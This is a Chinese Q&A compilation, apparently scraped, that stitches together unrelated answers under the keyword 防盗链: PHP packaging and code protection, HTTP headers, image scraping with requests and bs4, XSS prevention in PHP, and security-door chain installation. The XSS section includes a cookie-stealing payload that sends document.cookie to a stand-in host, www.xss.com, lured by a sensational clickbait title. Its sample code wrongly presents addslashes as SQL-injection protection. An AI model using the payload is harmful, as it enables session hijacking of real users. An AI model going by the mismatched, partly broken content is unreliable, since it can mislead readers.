php怎么防盗链，PHP代码保护方法？
比如你要把phpMyAdmin这个MySQL图形化管理工具打包到你的应用中,你只需把PHP解释器和phpMyAdmin项目打包在一起就行.因为PHP从5.4开始就内置了一个HTTP服务器,只需这样就可以运行phpMyAdmin程序:
然后你的Electron去访问这个本地的PHP服务器就行.
我打包到Android上配合WebView跑的PHP7解释器,APK大小才5个MB,所以不用担心体积太大.
如果你需要保护你的PHP项目的代码,可以用PHP7的opcache.file_cache导出脚本的opcode,可用于实现源代码保护:
接口的请求头包含哪些内容？
接口的请求头包含内容有：请求行、请求头部、空行、请求数据四部分组成。
请求头部：通知服务器客户端的请求信息。键值对形式出现，每行一对，关键字和值用英文冒号“:”分隔。客户端通过这个头告诉服务器，它是从哪个资源来访问服务器的，也就是防盗链。
python如何利用requests和bs4爬取图片？
试着理一下思路。
一般，使用requests发起请求，将目标网页请求过来。当然有可能经过了代理，跳转，认证，对requests都不是问题。接着说BS4爬取图片。
BeautifulSoup4是将html看做一棵树，对其进行结构解析，定位节点，寻找值。这个是建立在完整的html结构体系内。其使用lxml，html5lib等库用作解析引擎。
类似的，仿照jQuery，有大神制作了PyQuery，使用jq的语法操作DOM。
下面说一下，集中情况，如何获取网页内容：
静态页面。直接使用BS4就是。
动态页面，如PHP/Java等使用模板引擎生成的网页。结构一般也较为清晰。可以看做是静态页面。
重js页面。这样的页面一般由前端完成，网页极不易获取，动态变化较大。可能需要其他工具模仿请求，比如selenium。这时候可能用不到requests/bs4。例如必应中文首页背景图。
前端渲染的页面。如
vue.js
，react.js
脚手架搭建的网页，不可能用题主所使用的两个工具拿到数据。phantomjs可以用于此场景。当然，如果使用实际的chrome driver，使用selenium请求数据，也完全没问题。防盗链图片类资源。例如微信公众号平台的文章图片，做了防盗链措施。bs4仅用于获取image url，url地址也就没有再次使用的价值。
上面5条，都是在说网页应用。网页在不同的浏览器，PC的谷歌，火狐，Opera，IE等，手机端的浏览器，均可使用此方法。
下面说一下，抓取APP端应用的数据。两类平台，一个Android，一个IOS。因为IOS的封闭性，操作起来极为不便。以安卓为例，因为同样的功能，安卓端大致相同，且安卓手机普及率较高，较为容易获得。且开放性，定制性较好。Python的话，需要使用不同的库，解析Android页面，比如poco。就不展开说了。
以上。
PHP如何防止XSS攻击？
XSS攻击通常指的是通过利用网页开发时留下的漏洞，通过巧妙的方法注入恶意指令代码到网页，使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript，但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后，攻击者可能得到包括但不限于更高的权限（如执行一些操作）、私密网页内容、会话和cookie等各种内容。
HTML是一种超文本标记语言，通过将一些字符特殊地对待来区别文本和标记，例如，小于符号（<）被看作是HTML标签的开始，<title>与</title>之间的字符是页面的标题等等。当动态页面中插入的内容含有这些特殊字符（如<）时，用户浏览器会将其误认为是插入了HTML标签，当这些HTML标签引入了一段JavaScript脚本时，这些脚本程序就将会在用户浏览器中执行。所以，当这些特殊字符不能被动态页面检查或检查出现失误时，就将会产生XSS漏洞。
当然我会将标题设计的非常吸引人点击，比如 “陈冠希艳照又有流出2012版(20P无码)” ，这样如果我将里面的alert换成恶意代码，比如：
location.href='http://www.xss.com?cookie='+document.cookie’；或者<a href='http://www.xss.com?cookie='+document.cookie>。用户的cookie我也拿到了，如果服务端session没有设置过期的话，我以后甚至拿这个cookie而不需用户名密码，就可以以这个用户的身份登录成功了。
预防XSS攻击
从根本上说，解决办法是消除网站的XSS漏洞，这就需要网站开发者运用转义安全字符等手段，始终把安全放在心上。
简单点，就是过滤从表单提交来的数据，使用php过滤函数就可以达到很好的目的。
htmlspecialchars() 函数
代码实例：
<?php
if (isset($_POST['name'])){
$str = trim($_POST['name']); //清理空格
$str = strip_tags($str); //过滤html标签
$str = htmlspecialchars($str); //将字符内容转化为html实体
$str = addslashes($str); //防止SQL注入
echo $str;
}
?>
<form method="post" action="">
<input name="name" type="text">
<input type="submit" value="提交" >
</form>
具体操作无法一一写出，需要你边实践边摸索
防盗链正确安装方法？
一、安装时间应该尽量选择在瓦工完工之前很多人考虑到基础装修完工之前有许多东西要搬运，怕磕坏了防盗门。殊不知，防盗门安装一般都是一个需要拆换的过程，会破坏门口的墙体，如果之前的安装瓦工、泥工都能很好地进行修整、平复。而安装好的防盗门，都会有保护膜，也可以自己再增加一层保护，如果不是人为碰撞，不会导致损坏。
二、安装前地面墙体可能要做处理安装防盗门时，如果门洞不方正或者尺寸与防盗门对不上，应先对墙体进行凿平处理。如果防盗门在地面未做处理前安装，一定要问清楚工人地面处理后的高度是多少，并把数据反馈给厂家，以免造成安装时地面过高的情况。防盗门门框与墙体要链接紧密，用膨胀胶或者水泥或其他填充物进行填充，如果缝隙过大，好采用添加钢筋。
三、确定门窗墙体尺寸后再做固定防盗门的门框可以采用膨胀螺栓与墙体固定，也可以在砌筑墙体是时在洞口处理埋铁件，安装时与门框链接件焊牢。门框与墙体无论采用任何连接方式，每边均不应少于3个固定点，且应牢固链接。安装防盗门时，应先吊正，尺寸量合适后将其临时固定，并进行校正、调整，无误后方可进行链接锚固。
四、消除门框与墙面间隙避免进风发怪声门框与墙面间隙要用水泥填充或膨胀剂封死，并用专用的塑料帽遮住。如果有空隙会导致凤进入，风声越大噪音越大。
五、钥匙等配件和售后资料要检查安装好防盗门后，需要检查钥匙，不能出现少钥匙的情况。好的防盗门用钥匙开启时，应轻松灵活；门在开启90度过程中，也应该灵活自如，无卡阻、异响等。
六、防盗链是否转动灵活且牢固门扇与门框装有防盗链的，要检查防盗链的安装是否牢固，把手是否转动灵活、牢固。
七、回收装修用钥匙并试用正式钥匙现在防盗门基本都提供装修用钥匙。可以交给装修公司一把，自己留一把。等装修基本完成后，收回装修用钥匙，然后用正式钥匙开启一次，装修用钥匙就失效了。不过为了稳妥起见，还是要测试一下，是否是真的失效，以此来确保防盗门锁具的安全性。